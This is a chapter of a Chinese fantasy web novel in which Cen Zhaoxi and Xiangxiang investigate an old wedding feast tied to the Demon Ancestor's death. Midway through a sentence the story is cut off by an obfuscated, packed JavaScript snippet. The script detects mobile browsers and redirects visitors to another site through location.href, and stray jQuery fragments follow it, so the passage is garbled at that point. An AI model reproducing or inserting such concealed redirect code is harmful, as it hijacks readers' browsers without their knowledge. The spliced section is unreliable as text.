79. 第079章:

作品:《颜控师妹认错大魔王

    “怎么,你在万灵群岛找到他老人家的踪迹了吗?”大祭司闻言,一下子来了兴致,目光炯炯看着他。


    岑照夕不动声色道:“我在主岛上找到了一个地下城遗迹,那里十方城中的魔祖道场很像。我在那里也见到了一轮红月,红月上,有一座宫殿……”


    他简单讲了一遍宫殿隔扇上的雕刻,大祭司听得两眼发亮,等他讲完,才用一种若有所思地语气道:“原来如此。我和你爷爷都不知道这一段往事。”


    “您也不知道?”


    “对。当年,我名义上虽然是他老人家的徒弟,但实际上更像是他身边的侍女,哼,他怎么可能跟我们讲这些。我就说,忘灵江这个名字怪怪的,原来是因为他师父!”


    王奶奶显得很兴奋,头上的飞天髻摇摇欲坠,那原来是个假的。她抓了一下发髻,让它固定住,遮住发根上的银色,随后冷笑道:“难怪他一直防着我,生怕我学他一样欺师灭祖啊。啧啧,那他可是想多了,他长得那么丑,我可不好他那一口。”


    岑照夕:“……”


    他没忘记自己要打探什么,沉吟了一下,说出自己的猜测:“从隔扇上看,万灵老祖并不像传说中的一样,在万灵门覆灭的时候,就陨落了。也许她还活在世上。我在想,魔祖陨落,会不会也和万灵门的报仇有关?”


    在十方城记载的史册上,魔祖成焱在四十多前的一场抵御外敌的大战后陨落,有些魔城的城主不信,偶尔还放出话来,说在某地发现了魔祖的踪迹,试图颠覆岑遂对十方城的正统继承权。魔域至今,战乱不休。


    大祭司笑道:“这怎么可能,万灵门都多少年了,都是没有得道的凡夫俗子,就算活着也入土了。你爷爷没跟你说过吗?他老人家是在一场喜宴上,跟一个人族修士动手的时候,受了重伤,这才陨落的,若不然,他至今还是人妖魔三界第一强者。”


    人族修士?


    岑照夕眸光闪了闪:“我听爷爷说起过,是当年巫山剑宗的门主司青笙。”


    “嗯,就是他。他的修为也很深,最主要是,当年完全没想到,他会不惜一切代价也要重伤师父。”


    “谁的喜宴?”他追问。


    “乖孙,这个你就不要多问了,都是过去的事情了。”大祭司想伸手够一下岑照夕的头,被他避开,露出失望的神情,“娃长大了,开始守男德了。”


    岑照夕不知道王奶奶在说什么奇言怪语,既然也问不出别的,索性告辞了。


    在他的身后,大祭司眯了眯眼,鲜红的唇往上一勾,露出一抹诡异的微笑。


    ……


    望江楼第八层,想想听那个无耻之徒讲完了成焱老狗陨落的事情,安静地想了一会儿。


    根据各门派的史书拼凑在一起,一幕往事浮现在眼前:


    四五十年前,避世多年的巫山剑宗门主司青笙,忽然率领门下所有弟子,一齐前往十方城赴喜宴,然而,司青笙和成焱不知为何打了起来,司青笙当场陨落,成焱受了重伤,不久之后,成焱也不治身亡。


    人族没了魔祖这样一个心腹大敌,巫山剑宗改名沧海派,岑遂继任十方城城主。自此之后,沧海派和十方城结下仇怨,直至今日。


    但是,两派虽说有仇,在想想的印象里,沧海派从不参加人族联盟的‘灭魔’行动,魔族偶尔滋扰人族,却从不来找沧海派的麻烦。两派似乎只是在嘴上骂骂而已。


    “你祖父跟你提过我们宗门的事情吗?”想想问。


    岑照夕道:“他来沧海派后山石林接我时,才第一次跟我提到了‘巫山剑宗’。”


    想想更加茫然。


    “我觉得,”她对着菱格窗自言自语,“那场喜宴一定是沧海派和十方城之间的。我想想,会是谁?大师伯?廖师叔?”


    她越想,越觉得每个人都很可疑,因为每个人都没有道侣。说不定,还有可能是祖师爷。


    沧海派大有修无情道的传统啊。


    岑照夕想到了大祭司,他也忍不住想,沧海派的祖师爷加上弟子都是男修,而魔祖只有大祭司一个女弟子,难道是她?


    难怪王奶奶不肯讲,那是她的喜宴,可能也是一段悲伤的过往。


    两个人各自想各自的,然后不约而同地点头,都觉得自己猜想的很对。


    “再去城中打听一下当年的喜宴吧。”想想建议,“嗯,你觉得新娘子会是谁?”


    “十方城大祭司。”他毫不犹豫道。


    “好,新郎就打听……我祖师爷。”想想猜测师父是为了祖师爷的死耿耿于怀,既然祖师爷来过十方城,也许此事与他有关。


    俩人迅速飞下望江楼,朝十方城的街巷走去。


    .


    据岑照夕回忆,十方城的魔族成婚,都会大设宴席,其中必然少不了美酒。魔族好酒,十方城里,就有一条街巷全是酒坊。其中最好的酒,被称作‘十方春’,大多数魔族设宴,都是引用‘十方春’。


    他从袖中取出一块像鱼鳞一样的半块面具,覆在了脸上。很快,他的眼眸颜色变成了淡淡的银色,相貌也有一点轻微的变化,右额往下的半边脸,生出了一层银光闪闪的鳞片。


    “在城中打探消息,最好还是隐蔽身份。”他又拿出一叠各种各样的面具,问想想:“你想要哪个?”


    她想起苗墨雪:“我想要小猫妖的伪装。”


    “没有。我们跟妖族也是敌对关系。”


    “好吧,”想想叹了一口气,翻了翻这些面具,挑中了一块淡紫色的。她戴上后,脸上多了一层淡紫色的鳞片,看着像是脸上绽放的紫色小花。


    “我的角呢?”想想摸了摸头。


    “女子没有犄角。”


    想想了然:“哦!就像某些鹿和羊一样。”


    他无言以对,伸手想去牵住想想,但是想想早就像条滑鱼一样地往前溜了。


    岑照夕已经习惯了她的冷落,他几步就追上了想想,“你认路吗?”


    “闻着酒香不就找到了吗?”想想已经闻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569776|171033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到了。


    俩人很快就走到了那条开满酒坊的巷子,他们遮掩身份后,果然很少有人注目、行礼。有时有魔族看他们,也是因为他们长得好看。


    岑照夕几乎没有踏足此处,他不饮酒。他朝两侧看了看,带着想想,径直走向其中最大的一家酒坊。


    酒坊小二迎了出来,他是个混血的魔族,脸上没有鳞片,头顶只有两个小小的犄角,看着不比一截手指长多少。


    “这位魔爷,您想打什么酒?”


    酒坊里装潢典雅精致,在十方城里都比较少见。一层举架很高,前面的墙壁上,挂着数百个乌木牌子,上面用鎏金的魔文写着酒名。被悬挂在最上方的,当然是‘十方春’。


    岑照夕看小二年岁不大,淡淡道:“叫你们掌柜的来。”他顺手给了小二一颗魔晶。


    小二顿时喜出望外,忙不迭拜谢了,冲里面喊了一声:“掌柜的,有贵客!”


    不多时,他们已经坐到了雅间里,喝上了十方城附属魔城产的魔茶。


    说是魔茶,想想觉得口感和乌龙茶没什么区别,可能他们喜欢一切黢黑的东西吧。茶器却是一套绯红色的,所以茶盏配上乌龙茶,有点像在喝毒药。


    掌柜的站在一旁,笑容有好多褶皱,看起来脸上的漆黑鳞片都快被挤掉了。他问:“贵客光临寒店,可要先品尝一下敝店的各种美酒?”


    岑照夕在踏入酒坊前,已经披上一身光滑的黑色绸缎外衣,袖口绣着精美的魔纹,衬得他眉目更加俊逸。他淡淡一笑:“上‘十方春’即可。我即将成婚,听闻十方城中,这里美酒最多……”


    掌柜的看他衣着不凡,又带着如花美眷,还说要成婚,绝对是一笔大买卖。他赶紧吩咐小二去取酒,又笑道:“原来贵客是外城人。那贵客可来对地方了,别地不敢说,十方城中,但凡有身份地位的魔族,十家有九,都是在小店购入的‘十方春’。小店……”


    岑照夕打断了他的喋喋不休,“有哪些贵客办喜宴,在你店中购过酒?”


    掌柜的以为他是个魔族新贵,凡事都效仿贵族那一套,会意道:“那可多了。比如说,咱们城中的独孤将军,今年春天儿子娶亲,要了一万坛‘十方春’;魔神庙的姚长老,去岁办了一场三百岁的寿宴,要了三万坛‘十方春’;还有……”


    “就这么少?”


    他惊愕地抬头,发现贵客露出不满地神色,对身旁那貌美的年轻女子道:“看来不过如此,都不过十万。”


    十万?!贵客怎么要这么多?莫非是附属的某个城主的儿子不成?


    掌柜的又恭恭敬敬地笑道:“贵客,不是小店生意做的小,而是咱们十方城,能要上十万坛的,只有那么几位,且这些年又都没办过喜宴。如果贵客想要,小店也不是供应不了,很多年前,曾有一场喜宴,我们供应了二十万坛‘十方春’……”


    岑照夕微微一笑,“此事当真?二十万坛可不少,我也常来十方城,怎么没听说谁办过这么大的一场喜宴?”